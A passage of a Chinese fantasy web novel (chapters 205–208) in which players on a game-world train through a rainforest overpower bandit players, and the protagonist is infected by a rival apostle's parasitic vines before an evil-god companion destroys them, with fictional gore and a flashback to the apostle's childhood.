黑夜寂静,周围除了火车碾上轨道的哐当声响,再也听不到其他动静。 但这并不能叫人安心,谁也不知道雾气中悄无声息地隐藏着什么东西。 “有没有人觉得这些树的长势好不科学?我家那块温度低,长成的树都不见得有它们三分之一高。” 所有门窗都紧闭着,但总有股阴寒的气息萦绕不散。 一名玩家不断摩挲冒出鸡皮疙瘩的胳膊,体感这里的温度起码在零下十几度! 淦,冷死个人了! 宴初一一直没法通过锻炼增强体质,看过亲生父母留下来的影像后,他怀疑是系统给他下达过某种限制。 眼下耐不住冷,已经和老人小孩一起裹上了厚毯子。 后勤人员致力于保障全体成员的身心健康,这会儿正在无火煮姜汤,甚至还腾出功夫给年龄小的孩子准备了热可可。 见宴初一伸出手,顺势给他塞了一杯。 本来想端姜汤的宴初一低头看了看手里的热可可:“……” 大部分玩家都强化过身体,也经常在副本中遭遇极端天气,一时半会儿不觉得有什么问题:“现实世界还没诡呢,你在游戏里找什么真实感。” “不对,确实有问题!” 一名对爱好植物的玩家瞪大眼珠子贴在车窗上,像是有了什么发现,突然高呼:“你们看那些树,树干笔直树冠茂密,是榕树!最高大的是望天树,一般高达40多米,最高能长到80米,旁边还有凤尾蕨和油棕,都是生长在热带雨林的品种!” 其他人一看,还真是! 黑夜加浓雾,要不是这名玩家夜视能力强又观察细致,还真不一定能发现端倪。 既然是热带雨林,又怎么会出现这种反气候的低温? 徐队长的脸色有点凝重,对宴初一说:“一般为了营造惊恐氛围,副本会把气温设计得很低。但我们进入这个密林已经有一段时间了,还没有遇到诡魂之类的怪物或设计。” 宴初一将喝干净的杯子放下,懂他的意思:“要么灵异怪物在后面等着我们,要么降低玩家的体感温度是为了掩盖什么。” 之所以肯定降低的是玩家体感温度,而非整个关卡环境的温度,是因为那些热带植株依旧葱郁茂密,丝毫没有受到影响。 徐队长:“你觉得会是哪种情况?” 宴初一:“后者。” 徐队长果断相信他,转向对那位爱好植物学的玩家:“热带雨林通常会有哪些特点?” 玩家浅显易懂地概述:“湿气重,瘴气浓,经常下雨,树木多都长得高大,气温高,昼夜温差小,还有许多的剧毒昆虫、蛇蟒和野兽。系统设计或许会和实际情况有出入,但大差不离。” 瘴气足,就要小心明火爆炸,引起森林大火。 应付剧毒蛇虫有解毒药剂。 猛兽有宴初一、布莱恩、徐济三名S级在,不在话下。 后勤拿出温度计,数值直线上升,最后停在25℃~35℃这个区间。 也不算太离谱。 浓郁的疑虑徘徊在众人的心头,挥之不散。 这次的陷阱会在哪儿? 又半个小时过去,333号队伍即将抵达第一个站点。 如附骨之疽般的阴寒气息并未消失,但也没有比之前更冷,穿厚实的衣服就能抗住,只是稍不注意就会忘记这里其实很热的事实。 吱啦—— 火车到站点后自动停下,轮对接入凹槽传出金属刮擦声。 没有情感波动的系统提示紧跟着响起。 【列车已靠站,所有玩家可下车自由活动。】 【本次通往游戏王国的所有站点均不限制停靠时间,为了取得最终胜利的名次,请各位玩家自行规划好发车时点。】 白雾散开了一点,能见度径直变高,视野逐渐清晰。 就像电影里经常会看到的露天森林站台。 昏黄的灯光照亮一方,陈旧的瓷砖黝黑开裂,缝隙中长满湿滑的青苔,路边竖着生锈的指示牌,被缠绕而上的绿藤挡住大半的标识。 路边是两排木制长椅,垃圾桶下面黏着被踩扁的食物包装袋。 看着冷冷清清,似乎已经有很长一段时间没人到访了。 徐队长在火车进站时着重观察了一下对面的停靠点,是空的,没有其他火车。 难道他们是第一个抵达站点的队伍? 正要打开车门一探究竟,忽然宴初一脸色微冷,厉声叫住所有人:“先等等,其他人留下。徐队,布莱恩,我们三个打头阵。” 其他人或许看不见,但有着“上帝视角”的谢叙白本体,可是“看得”清清楚楚。 就在一千多米开外的丛林中,报废的车厢堆积成山,鲜血从被挤压变形的铁皮缝隙中渗出,啪嗒啪嗒滴落在地。 火车从外部受到攻击,轨道和站台却没有留下痕迹,它们都被细心处理掉了。 数不清的人类尸体被埋葬在铁皮坟墓中,瞳孔涣散,死不瞑目。 他们穿着不一,肤色不一,来自五湖四海,不是副本原住民,是玩家。 最关键的是,除去衣服裤子,他们身上的道具武器空间袋都被扒了个干净。 NPC和诡怪不会有意搜罗财物,因为副本结束时会被系统自动回收。 袭击他们的是谁,不言而喻。 其他人虽然看不见宴初一所看见的,但听到对方冷厉的语气,立马自觉地往后退。 少倾。 藏在暗处的袭击者们看着宴初一三人下了车,心觉古怪,在私密频道中嘀嘀咕咕。 “怎么只有三个人?” “或许是觉得不安全,先派三个人下来探探路。” 再一看火车配置,全是基础款式,瞬间嫌弃得不行:“不是吧,一个强化零件都没弄到?” “这群人该不会很弱吧!” 只有初始站点会透露其他队伍的基本信息,宴初一他们又掩盖了等级气息。 袭击者看不透三人的实力,相互使了个眼色。 “兄弟们,怎么整?” “他们就三个人。” “要不然……” 接到暗示,一身凶煞气的亡命之徒拔地而起,却不是发起袭击,而是默契十足地往后撤! 突然一道高壮的人形阴影从头临下,布莱恩闪现他们面前,眸子流露出轻蔑和厌恶,像看阴沟里的脏东西:“废物。” 他平生最看不起两类人。 其一,害人的老鼠。 其二,临阵退缩的臭虫。 其他人还未反应过来,就见布莱恩的手臂在半空化作残影,拳头着肉传来骨骼碎裂的爆鸣。 他们的老大被打上高空,又被窜上去的布莱恩一记鞭腿,从高空踢落地面! 这一下落地,直接在瓷砖上砸出个偌大的坑洞。 袭击者老大惨叫两声,奄奄一息,挣扎着要爬起来,往外跑。 却见一个青年面无表情地俯视他,一脚踩在他的胸口,猛然一下,轻轻巧巧地把他踩了回去。 “啊!” “你们对我们有杀心,手里家伙齐全,直到刚才都还想着要杀人截货。”宴初一淡淡地垂睫,“为什么突然反悔?” “是遇到了什么事。” 袭击者头头痛得直嚎,掰住宴初一的腿,愤恨地看过去。 “还是已经在谁手里吃过了教训?” 袭击者头头的怒火猛然一滞,瞳孔颤抖个不停。 仿佛恐惧已经刻入骨髓。 宴初一微微皱眉,袭击者的等级近乎A+,哪怕对上S级都有一战之力。 让他怕成这样,前面的站点或许有相当棘手的家伙。 “详细地说一说吧。”宴初一勾起唇角,语气没什么波澜,自上而下的目光混入站台昏暗的光,像是勾人魂魄的吊索,“我不喜欢动手,但刚才揍你的那个大块头可憋了不少火气。” 应召着他的话,站台后面传出一阵叫人肉痛的拳打脚踢声,惨叫此起彼伏。 徐队长在那劝:“布莱恩!布莱恩!下手稍微注意点,还有事情要审问他们,别打死了。” 听到属下们的求饶声,袭击者头头苦笑,明白大势已去,他们再一次惹到了不该惹的人。 他张开嘴,似乎想起某段恐怖的经历,声音带着点哆嗦:“我不知道他们是谁,里面有个长得很漂亮的外国人,和个小孩形影不离,能力是藤蔓,很……可怕。 但他们打赢我们后,没有下杀手,反而送给了我们很多加强零件。” “只是我们的火车损坏严重,需要重新修补的部分太多,也不敢追上去,怕和他们再次撞见,干脆留下来收刮点其他队伍的油水,再然后就……大佬!错了!我们真错了,饶了我们吧!” 宴初一继续问:“其他人怎么称呼他们的队长?” 虽然那队伍大部分是外国人,但也有中洲人混迹其中。 袭击者头头下意识道:“好像是叫他,使徒……” 男人的话戛然而止。 他突然捂住嘴,惊恐地瞪大眼,身体像煮熟的虾般弓起腰背,痛苦地发出“啊,啊——”的嘶鸣。 就像引起某种连锁反应,男人浑身上下的皮肤颤动不停,大片地朝外鼓起,几乎被撑到透明的皮肉底下,隐约能瞧见数道幽绿的光芒一掠而过,丝丝缕缕的,越来越浓密! 不好! 宴初一飞快起身后撤,同时展开精神力屏障。 电光火石之间,噗呲噗呲响起几十声连绵不断的轻响。 如同瞬间炸开的烟花,茂密细长的藤蔓沾血带肉,从男人的身体里争先恐后地涌出,一个活生生的人,眨眼间变成一簇繁茂的血色植株! 男人似乎还有意识,通红双眼涌出绝望泪水,手探出藤蔓丛,颤颤巍巍地朝宴初一伸过去。 倏然几根藤蔓宛若游蛇般从他的腕部钻出,柔情四溢地扎进他的手指,大力吮吸。 眨眼间血肉干瘪下去,连骨头都嚼碎,只剩一层软绵绵的皮。 得到滋润的藤蔓慵懒地舒展枝条,昏暗光线映衬下,反射出一抹瑰丽的色泽。 看到这惨烈的景象,宴初一心跳空了半拍,用力地拧紧眉头。 身后突然传来一股巨大的力道,将他掰到二十米开外。 是布莱恩。 刚愎自用的雇佣兵从来没露出过这么可怕慌颤的神情,对远处要下车的玩家们近乎声嘶力竭地吼道:“都回去,不要靠近!!” 又飞快将宴初一的袖子卷上去:“酒神的亵渎之藤就是神级玩家也不一定能察觉中了招,你哪里接触过那些藤蔓,快说!快找!” 宴初一刚想说话,突然眸色一凝,金光包裹手掌,用力将大块头推开。 布莱恩瞬间被推开几米远,跌坐在地,都顾不上站起身,手脚并用地爬回来,在离青年约莫一米外的位置猝然停下。 刹那间他的眼神惊怒无比,直勾勾地看着半空中一截蜿蜒向上的绿色藤蔓,爆出怒骂:“shit!” 宴初一的目光也停在那截绿茵茵的藤蔓上。 半晌,他深吸一口气,顺着藤蔓往下,撩开自己的裤管,在脚踝处,看到了如头发丝般扎根在血肉里的根系。 第206章 观光小火车(6) …… 明媚的阳光透过教堂的彩色花窗,落在地面变成斑斓的色块。 教堂大门紧闭,没有风,空气沉闷。 他在这里站了很久,额头滑落的冷汗沾在脸颊上,黏糊糊的特别难受。 周围有很多孩子,和他一样穿着小小的白衣,双手驯服地背在身后。 有的畏畏缩缩地垂着脑袋,不敢和他直视。有的则满是事不关己的冷漠,甚至是幸灾乐祸。 前面响起很多人的窃窃私语,他抬头,看到西装革履的大人物们位于高座,面容不清。 唯有眼睛里冰冷审视的目光那样清晰,自高处往下,如烙铁般拷问着他。 “希尔。” 有人这样叫他。 沉沉的目光压在他的身上,他的额头、后背似乎又渗出了一层细密的汗水。 那人接下来继续说了些什么,又问了什么,他恍惚地听着。 每个词都听得懂,组合在一起的意思却难以理解。 脑子很乱,胸口很慌。汗水滴进眼睛里,生疼。所有人的脸都变成了混杂的色块,在颠三倒四地平移摇晃。 他要受不了了。 要疯了。 别说了。 闭嘴。 某一瞬间,他似乎听到那人嘴里蹦出一个难以接受的词汇,陡然瞪大眼睛,发出尖锐的叫喊:“不!” “我不要!” 压抑的情绪彻底爆发! 脚很痒,手很痒,全身上下没有一处不痛痒。 他的愤怒化为唤醒恶魔的号角,有什么东西从他的皮肤下钻了出来,细长蜿蜒,绿茵茵的一大片,对着所有人张牙舞爪。 那一刻他看见,所有人的脸色骤然变了,不管是看好戏的还是斥责的,通通化为挥之不去的恐惧。 人群嘈杂混乱,好多人在往后跑。 紧跟着,以他为中心面向人群两边,倏然显出半透明的屏障。 穿着防护服的警卫人员严阵以待地冲上来,漆黑的枪口对准他。 大人物们捂着急剧起伏的胸口,手指向他的鼻子,愤怒呵斥。 “我就知道!” “看看!这就是你们口中的救世主!” “太危险了,必须关起来!不!现在就把他送到——” 嘭! 教堂的大门被人从外踹开,重重地拍在墙壁上。 风呼啸着冲入教堂内部,将燥热冲散,一个比他大不了多少的少年裹挟着疾风箭步走了进来。 门外盛阳热烈,逆光中看不清少年的表情,胸口绣着古希腊数字“一”的徽记,洁白绣金的衣袍如天神的羽翼,在阳光下猎猎起舞,熠熠生辉。 警卫叫着危险,想要拦住少年,被少年甩过去的眼神定住。 少年一路不停,顺手将对着他的漆黑枪口往上抽开,身体没入屏障,最后来到他的面前。 “把你的爪子收回去。”少年冷声对他说。 这个人审视他的目光和那些讨厌的人相比,又有什么不同呢? 他想。 然而反应过来时,所有凶神恶煞的绿色小怪物都已经缩了回去,安安静静地在他皮肤下面蜷成一团。 他甚至没有再感受到,那时时刻刻,如附骨之疽一样折磨他的痛痒。 吵闹慌张的孩子们都恢复了安静,似乎少年的到来令他们安心。 少年径直走向高座,找其中一名大人物了解情况,越听,脸色就越沉,随后看向他。 和少年对上视线的瞬间,他忍不住抠起了衣摆,手指不安地捏出很多褶皱。 少年不再看他,操着不同国家的语言,挨个回斥大人物激烈的谴责。 “不危险的救世主,对付不了危险的敌人。” “我也很危险,你们是不是也要把我一起处理掉?” “出了问题怎么办?没人能保证不出任何问题。” “该补救的补救,该规避的规避,评估风险制定风控对策,这是联合会当初在拟定计划的时候就该考虑的问题!不然设立那么多部门,投入那么多资金资源,全拿来打水漂吗?” 他麻木恍惚地听着,感觉自己是一个文盲小孩。 不知过去多久,大人物们被少年怼得哑口无言,又或是忌惮少年的能力和少年背后支持的势力,悻悻地闭上了嘴。 少年的声音方才从头顶传来。 “希尔。” 他唰一下抬头。 少年看着他,一字一顿说了些什么,总体在重复那些大人物一开始就喋喋不休的内容。 还是每个词都听得懂,合在一起的意思又变得混乱,叫他烦躁。 可是说到最后,不一样了。 那些大人物说到最后,言辞愈发激烈,唾沫星子狂喷,大声质问他脑子里在想什么,是不是想要杀人,批判他是套着人皮的恶魔。 少年则严厉地看着他,用他的家乡话,清楚明了地询问。 “关于这些事,你还记得多少?” 他迟滞的脑子,在少年不曾变化情绪的等待中,终于像是回过神来,张了张嘴,沙哑地回答:“……?λα(全部)。” 少年平铺直叙地陈述:“不管有意无意,你做错了事,很严重的错事。” 少年抬起手,金光氤氲,化作一把厚实的戒尺,对着他不容置疑地说道:“手。” 所有人都在看着他,他像炸毛的刺猬,近乎是反射性地怒叫:“不!” 少年:“要我再重复一遍吗?” “……” 戒尺砸在掌心,噼啪声脆,他痛得龇牙咧嘴,看着自己白嫩的手掌慢慢肿起红痕,豆大的眼泪水哗啦啦地往下掉。 他记得自己哭得很惨,叫得大声。 “我错了,white!” “求求你了,放过我,我会道歉的!做一年的志愿服务!不,两年三年!啊!” 但少年始终没有留情。 沉稳的,威严的。 没做任何隔绝防护的手掌,纤长瓷白,却格外有力,紧紧钳住他想要往回缩的手腕,另一只手举起戒尺,一下接着一下,将他的双手抽成个滚烫通红的大馒头。 就像他和大人物们对峙时一样,不会退让半步。 最后他哭得上气不接下气,被少年按住后脑勺,向警卫们道歉:“给大家添麻烦了。” 又看向那些噤声失语的大人物,字字珠玑:“都看到了吗,不管是他,还是后面那群孩子,你们所警惕的危险物始终都在我们的控制之下。与其杞人忧天担心这些胚胎有可能会失控,倒不如先自省你们那常年赤字的财政,和豆腐渣一样脆弱的防御系统,到底出了多少蛀虫。” “我母亲,如今的【命运女神】,在联合会担任首席执行官的时候,可没有你们这么闲。” 少年单手挥向教堂敞开的大门,仪态不失彬彬有礼,语气不掩强横霸气:“还有一堆乱摊子没处理,就不送各位了,请。” 人群在尴尬嘈杂的交谈声里陆续离去,远程连接的人像投影也随之关闭。 他泪眼婆娑地缩在少年的身后,以为事情终于告一段落。 谁想到少年下一秒转过头,在他怦怦打鼓的心跳声里,定定地看他几秒钟。 然后猛然捉起他的手腕,捏住他的馒头手,捋开手指抻平。 他对上少年冒着凶光的眼睛,意识到不妙:“white!你已经罚过我了!不!啊啊啊啊——!” …… 第七使徒睁开了眼睛。 唇齿有股异常香甜的味道,神级玩家的血液。 不知道他散播出去的绿色小怪物们又会见了哪一位故人,可惜没有薅到更多的血,品尝不出个具体的滋味。 第七使徒意犹未尽地舔了舔嘴角,眯着眼睛没有起身。 旁边抱着小羊玩偶的男孩问:“你回味这么久,做什么美梦了吗?” “不知道呢。” 第七使徒翻了个身,单手支起下颚,像条没有骨头的蛇,笑盈盈地看向男孩:“小羊,你知不知道我曾经差点被‘处理’掉哦。” 男孩默不作声地看他一眼,漠然地把头扭了回去。 “如果你是指怀疑有人要害你,陷入狂暴让亵渎之藤长满半个基地,一路将30多名研究人员和警卫串成原始森林,差点没能救回来的那件事,我觉得你被处理掉也不冤。” “如果white知道你会在未来给他带去大麻烦,一定会想在当时打死你。”男孩拨开篝火,让火燃烧得更旺盛,眼眶下的黑眼圈更重了,显得颓丧疲乏,但言辞依旧犀利,“怪他太仁慈。” “你说错了,我怎么会给他带去大麻烦呢,就算是当初被他吃掉我也没生气,现在也不过是想从他嘴里得到一个问题的答案罢了。” 在他们的身后,一具尸骸早已凉透,血肉被绿色藤蔓翻来覆去地吸收,连骨头渣子都没浪费,徒留沾血的白色神袍散落在地,胸口绣着“十一”的古希腊数字徽记。 第七使徒眼中绽出一抹绿色的幽光,发丝粗细的藤蔓攀上眼球,随愉悦的心情成片涌动:“如果他知道我为他解决掉多少阻碍,不知道会有多么感激我。” 他又翻了个身,懒散放松地说道:“好期待见到他呀。” 另一边。 布莱恩用力地抹了把脸,盯着欢快摇曳的藤蔓,麻木地说:“放弃吧,没救了。” 宴初一:“……” 徐队长及其他玩家:“……” 第207章 观光小火车(7) 徐队长让其他人在火车里等待,一边关闭直播,连着使用两个防窥隔音屏障。 接下来他们要谈论的事情属于联合会秘闻,不能对外透露。 “第七使徒的契约神祇是狄俄尼索斯,古希腊神话中的酒神,也是奥林匹斯十二主神之一。会护佑农业,布施欢乐与歌舞,象征物是葡萄藤。” “人神结契,由于双方力量悬殊,神祇一方通常对人有着绝对的压制力。神有什么力量,眷属为了保持信仰纯粹,就只能使用什么力量。” “如果遇到阴险狠毒的神祇,自身的力量还会在被压制的过程里缓慢退化,直至消失,让眷属到死都只能依靠祂给予的神力。” 徐队长盯着宴初一脚踝的藤蔓,脸色自进入副本以来从未有过的严峻:“然而在巅峰以往收集的情报中,第七使徒在和酒神结契的中途,说不上是他的本性还是意志占据上风,竟然压过酒神的葡萄藤,延伸出了自己的特性,即亵渎之藤,菟丝子。” 人性压过神性——这种事情哪怕在神级玩家频生、怪才鬼杰辈出的辉煌时期,也相当的骇人听闻。 布莱恩说:“亵渎之藤的攻击力比蚂蚁还低,不会触发身体的霸体被动,但它又有着神级的韧性,所以能用比蚊虫触碰还微弱的力道破开你的皮肤。” “看着只有一小段扎在上面,实际比蛛丝还要细小的根系已经断成无数份,流入你的血管和脏腑。只要他一个念头,就会迅速榨干你的血肉,化作荆棘穿透身躯。” 很多人对菟丝子的认识不完全,认为它只能攀附宿主吸取养分维生,脱离宿主就无法独立存活,非常纤弱。 然而在自然界中,菟丝子是非常可怕的消费者,是植物界的吸血鬼。 徐队长听出他语气中的异样:“你和他打过交道?那最后你怎么摆脱掉的亵渎之藤?” 提到这事,布莱恩整张脸黑沉下去:“没有。” “什么?” 布莱恩似乎羞于启齿自己战败的经历,只是看着中招的青年,到底还是深吸一口气,把实情说完整:“我没摆脱。他那时也没杀我。” 徐队长还没来得及庆幸事有转机,就听到布莱恩咬牙切齿地说道:“他让亵渎之藤游走在我的身体里,控制吸食血肉的速度,和我的血肉再生速度达到一定的平衡,直到七天后副本结束。” 不是副本结束时第七使徒放过了他,是一出副本,系统就会自动刷新玩家的身体状态,清除埋在他体内的菟丝子。 徐队长:“……” 有意识地感受到自己被活生生吃了七天的血和肉,这听着比死还恐怖。 繁殖能力强,蔓延性强,看似纤弱无害的误导性,还会断枝重生。 第七使徒的亵渎之藤继承了菟丝子所有棘手歹毒的特性,没有宿主能摆脱它,一旦被寄生,就是必死的结局。 难怪金发雇佣兵对宴初一能活下来这件事,完全不抱希望。 徐队长抬头看向布莱恩:“你觉得我们通过交涉,让第七使徒收回寄生物的可能性有多大?” 布莱恩摇了摇头:“那家伙的性格非常恶劣,如果是以前还没内讧的使徒公会,或许会迫于规矩,放人一马。” “至于现在,他连联合会长的命令都能熟视无睹,行事也越来越乖张疯狂,甚至在副本里杀死过其他使徒。不知道为什么还没有被公会除名,或许是他不想走,上面的人也不敢开口将他驱逐。” 布莱恩脸色难看:“凭我对他的了解,如果他知道自己的藤蔓误伤了人,不仅不会有半点愧疚心理,还会非常高兴有送上门奴役的玩物。” 好久没有说话的青年开了口:“其实我……” “想也别想。” 鉴于宴初一有丢下他们独自赴死的前科,徐队长斩钉截铁地打断道:“你不要太担心,谢叙白是你的契约神祇,祂能活跃在这个副本里,未必没有解救你的办法。” 开什么玩笑,他们好不容易才把濒死的青年从死神手里抢回来。 如今的青年可以说是队伍里大部分人的心灵寄托,一旦出事那还得了! 徐队长站起身,绞尽脑汁,急得在原地打转:“难道就没有东西可以克制第七使徒的能力?不,一定有……” “如果很疼,我可以帮你麻痹感知。”布莱恩看向宴初一,指尖绽放出细小的电流。 “……”宴初一道,“其实我想说,我没事。” 布莱恩愈发不忍心。 他平时没那么容易共情,也没那么体贴下细,纯粹是想起过往的崩溃感同身受,说话都和气不少:“你不用逞强,我知道那有多么痛苦。别担心兄弟,我们会想办法救下你,相信我,我以雷神的名义起誓。” 轰隆隆——! 话音未落,阴暗的天空就响起一道惊天动地的雷鸣。 宴初一:“……” 布莱恩和徐队长:“……” 布莱恩兀自镇定道:“看,神认同了我的话。” 宴初一没想到雇佣兵傲慢的外表下还藏着一颗诙谐幽默的心,难怪说第一印象最能唬人,哭笑不得地说:“我真的没事,你们忘记金龙给我施加了庇护吗?” 谢叙白没说谎,他确实没事。 只是刚中招的情况也确实非常凶险。 徐济两人说第七使徒的神力在十二使徒中并不突出,只是能力难缠,近战缠身叫人猝不及防。 但这种情况是可以用远程攻击规避的,菟丝子无法摆脱宿主独立行动,吃过教训的布莱恩自信能在不被阴的情况下,隔着几千米的距离把第七使徒电成焦炭。 神级玩家亦有差距,如果分三档,第七使徒大抵只能排中间。 再往上是高级,半神,最后获得神格,晋升为真神。 谢叙白现在就属于半神级别。 照理说,他能随便抵挡神级玩家的攻击,就如同布莱恩不能伤及瘦长鬼影分毫。 谁能想到,藤蔓从皮肉中钻出,谢叙白的意识海也跟着传出一阵尖锐的刺痛,仿佛有什么东西顺着分魂宴初一与他的精神链接破土而出。 这并非普通的攻击,它竟然跨越了规则直接伤及他的本体。 谢叙白顷刻间意识到,能破除规则之力的第七使徒至少是个半神! 电光火石间,金龙的S级护体屏障猛然暴起,愤怒的龙吟似山呼海啸,在菟丝子的根系扎入谢叙白的意识海之前,就将它隔空震碎。 可下一秒,绿茵茵的藤蔓又出现于谢叙白的脚踝,竟是瞬间断尾求生,转移阵地! 谢叙白的反应速度也不慢。 他像是对这些藤蔓很熟悉,脑子还在琢磨该怎么下手,本能就已经催动他不留余力地释放精神力。 猛烈的精神力过五关斩六将,呈放射冲击状涤荡全身上下!眨眼间血肉震颤,再细小的藤蔓也被连根拔起,一根根地退到脚踝处,圈在寸指大小的范围。 欲要将它们彻底逼出体内的时候,谢叙白微微停顿,若有所思。 既然同为寄生系的零件生物会在走投无路的时候自爆,难保亵渎之藤会不会狗急跳墙和他同归于尽。 再则,这个所谓的第七使徒,不久后很有可能成为他们的劲敌。 或许他可以保留一截藤蔓,制造被完全寄生的假象,以此来迷惑对手放松警惕? 虽然铤而走险,但百试百灵。 只是这一念头刚从脑海中划过。 对面的斗篷人突然抬起脑袋,张嘴没什么感情地:“哇哦。” 谢叙白不知怎么的,眉头狠狠一跳,连忙往后看,被大片的黑雾糊了满脸。 “宴朔?你怎么,等等……” 邪神躯壳仍旧没有折射出识念。 但祂却如同拥有清晰的逻辑思维,黑雾化作手掌,蒙住谢叙白的眼睛,又伸出一根触手在他后脑勺安抚地拍拍。 谢叙白尚未反应过来,脚踝的菟丝子就被黑雾连根拔起,疼得他低低地闷哼一声。 再抬头,一株不断扭动的黄绿色藤蔓被涌动的黑雾卷起。 藤蔓想要逃脱,被黑雾如掐捏待宰羔羊般摁死,顷刻间表面胀开透明狰狞的鼓包,连带着下面蛛网般密集的根系,瞬间被绞成齑粉! 于是副本里还在半信半疑的徐济两人,惊喜地看见前一秒还活蹦乱跳的菟丝子,下一秒像是被毒懵了一样,啪嗒一下从青年脚踝抽出,掉在地上,绿茵茵的藤蔓如枯草般迅速灰败下去。 他们以为是金龙庇护发挥效果,不无庆幸:“真的有效!” 宴初一却说不出话。 水墨空间,空气中蔓延开湿冷的咸腥气,如暴雨将至,海潮上涌,沉重压抑的压迫感漫上心头。 黑雾越来越浓郁,越来越密集,眨眼间就在凉亭铺了一地。 邪神躯壳被规则拒绝在外,原本只分出一小部分,以不惊动规则的姿态偷偷渗入,不会有什么问题。 现如今强行将自己分解成这种程度,硬生生地往里挤,相当于为了让敌人放下戒心自断一臂,带着重伤潜伏敌营,不知道会受到什么负面影响。 谢叙白担心极了,努力扒开成片包裹住他的黑雾,看向空间裂缝:“宴朔,停下来,我没……” 声音戛然而止。 不知何时,邪神躯壳的瞳孔紧缩成野兽般的针状,和他对上视线,猩红得仿佛要滴血。 狰狞粗壮的触手不断翻涌,化作源源不断的雾气渗入水墨空间,一路碎石飞溅,碾出深深的沟壑,缓慢地朝棋桌爬去。 为什么人类总是在受伤。 为什么人类总是在忍痛。 为什么那些蝼蚁如此弱小、卑贱,却都敢来伤害祂的人类? 是因为我什么都没做,只是在这里看着吗? 为什么我只是看着? 因为人类口中的……规则。 笑话。 祂什么时候遵守过规则?! 邪神躯壳不理解,祂甚至无法清晰地分辨出这些念头。 所有念头混乱地糅合在一起,在看到藤蔓从青年脚踝钻出来的瞬间,化作一股强烈的、无法压制的烈火,烧穿胸口,扎透心脏,反复来回,直至千疮百孔。 祂感觉自己濒临忍耐的极致。 祂环抱着祂的人类,凭本能堵住那张试图劝阻祂的嘴,将自己疯狂地分散又分散,一点点将规则的阻力瓦解撕碎,踏上那不受邀的棋桌。 第208章 观光小火车(8) 谢叙白如何不清楚,邪神躯壳看上去反应激烈,还能做出各种机智的反击,只是经年累月的肢体记忆铸就出祂应对各种危急事态的本能,实际上比白纸好不到哪儿去。 何况分割躯体令祂力量分散,就这么明晃晃地闯入棋盘世界,和自投罗网有什么区别? 眼见邪神躯壳将要踏上棋桌,情急之下谢叙白掌心爆出璀璨金光,瞬间编织成一张密不透风的巨网,将邪神躯壳捆在其中。 “宴朔!听到没有,停下来!” 黑雾气势汹汹,完全没顾得上听从青年的喝止,一股脑撞上金网,要将它冲破! 难以招架的蛮力反馈到谢叙白的意识海,他没忍住暗骂一声,额角青筋鼓起,双手合力拽住收束线。 不知道是不是听到了青年吃力的低哼,还是瞄见青年掌心被勒出的刺目红印,黑雾猝然刹停。 祂往回一缩,在金光编织的大网中躁动地徘徊,似漆黑乌云翻滚,金红血瞳无声地凝视谢叙白,不解且固执。 谢叙白和祂对视,终于张开抿紧的嘴唇,含着一丝不易察觉的干涩。 “……你的灵魂说是要去对抗系统,但连续三天过去了,还是了无音讯,怎么都联系不上。我每天都在尝试呼唤小一和眼镜,同样没有半点反应。” 以前从没遇到过这种情况。 不管再怎么爱玩,听到他的喊声,小触手都会乐颠颠地跑回来,嘿嘿笑着圈住他的手腕。 不管金丝眼镜再怎么懒得搭理人,只要他开口,必定声声皆有回应。 直到那条紧密连接着他们的线猝不及防地断开了。 往日鲜活的身影藏进与世隔绝的孤岛,徒留谢叙白看着茫茫海平面,拼尽手段也得不到他们的一点回应。 他不知道宴朔他们是死是活,有没有陷入危险,伤情又如何。 他只能盯紧宴朔唯一留下来的躯壳,从躯壳活泼的状态来确定他们仍旧安然无碍,才能从中感受到一丝放心和安宁。 谢叙白不是非要这一丝安宁才能前行,就算失去一切,一无所有,他也会稳步地向前走。 ——直至刀剑加身鲜血淋漓,直至粉身碎骨肝脑涂地,直至取得最终的胜利。 也因为他自己就是这么一个宁死不屈的理想主义超绝犟种,所以他不会强行挽留任何人。 在不触犯律法、不造成公害的前提下,他尊重所有人的自由意愿。 可是现在,行事斩钉截铁的青年也会忍不住张嘴。 “我不知道你们做事前有多少把握,因为你们什么都没和我说。前不久在红阴古镇你还气我太拼命,没有把自己的安全当回事,我倒也想问问你。” 谢叙白嘴唇翕动,直勾勾地对上邪神躯壳的眼瞳,用平静的语气轻轻地问:“非要,把我一个人丢在这吗?” 周围陷入死一般的寂静,针落可闻,涌动的黑雾骤然凝固,好似一副不会动的立体图。 斗篷人仍旧保持着那诡异的沉默,哪怕涌动的黑雾蔓延到脚边也不曾眨一下眼睛,目光无悲无喜。 只是听到谢叙白说出那句话,忍不住狠狠地翻了个白眼。 黑雾不知道在半空僵滞多久,久到谢叙白以为脑子空空的躯壳根本没听懂。 他掐了下手指,果断将情绪压缩成识念,准备简单粗暴地给躯壳灌输进去。 下一秒,躯壳再度撞上金网,丝丝缕缕的黑色雾气努力溢出网缝,触及谢叙白的手指。 【不……】 强烈的情绪从他们相贴的地方炸开。 祂竟然在说话? 谢叙白堪称吃惊地抬头。 眼前的情况诡异到如同电脑在直立行走,马路在展翅高飞,总之就是非常特别的不科学。 又或者邪神到底不一般,兔子急了会咬人,躯壳急了会长脑。 黑色雾气贴合谢叙白的手指,从指缝溢散而出,仿佛有个人在和他五指交握。 那情绪翻涌而来,似潮起潮落。 【不丢……】 祂拂过谢叙白的金丝眼镜,金丝眼镜动了,安抚地盖住青年颤动的睫毛。 【在你的,眼前。】 雾气始终包裹着他,湿冷的气息滑过敏感的肌肤,激起一阵轻微的战栗,仿佛要让青年时刻感受到自己的存在,不曾有一瞬停止律动。 【……身边。】 严格意义上来说,脱离本体的小触手不能再算作邪神的一部分,不过当祂意识脱离后,主控权会自动回归本体的手里。 谢叙白能清晰感觉到,岑寂多日的影子又“活”了过来,轻轻撞击自己的脚底。 【……脚下。】 黑雾深沉真挚的呢喃声似从远古而来,与谢叙白耳鬓厮磨,温柔得仿佛能滴出水来。 【你的任何……】 【我始终,在……】 所以。 【不要害怕……】 【我的,挚爱。】 * 此时在副本里的高级玩家,都注意到了天空诡谲的变化。 好似有什么庞大且危险至极的存在,强势涌入了不见光的黑夜,在乌云中翻涌,无波无澜地睨视人间。 “我有种不祥的预感,总觉得接下来会有什么大事发生。快点走吧。” 布莱恩的感觉比徐队长更清晰,凝重地附议。 眼观四方的青年则表现得很奇怪,沉默很久,好像在发呆。 徐队长刚想询问,就见宴初一忽然一眨眼,像宕机的电脑重连成功,神色清明面无异常地接话道:“我不能保证自己的身上有没有粘带亵渎之藤的种子,以防万一,我坐另一列车。” 布莱恩:“哪里还有别的火车?” 宴初一看向那些被打得半死的袭击者:“他们应该藏了一列。” 这群袭击者不知道劫掠残害了多少玩家,死不足惜。 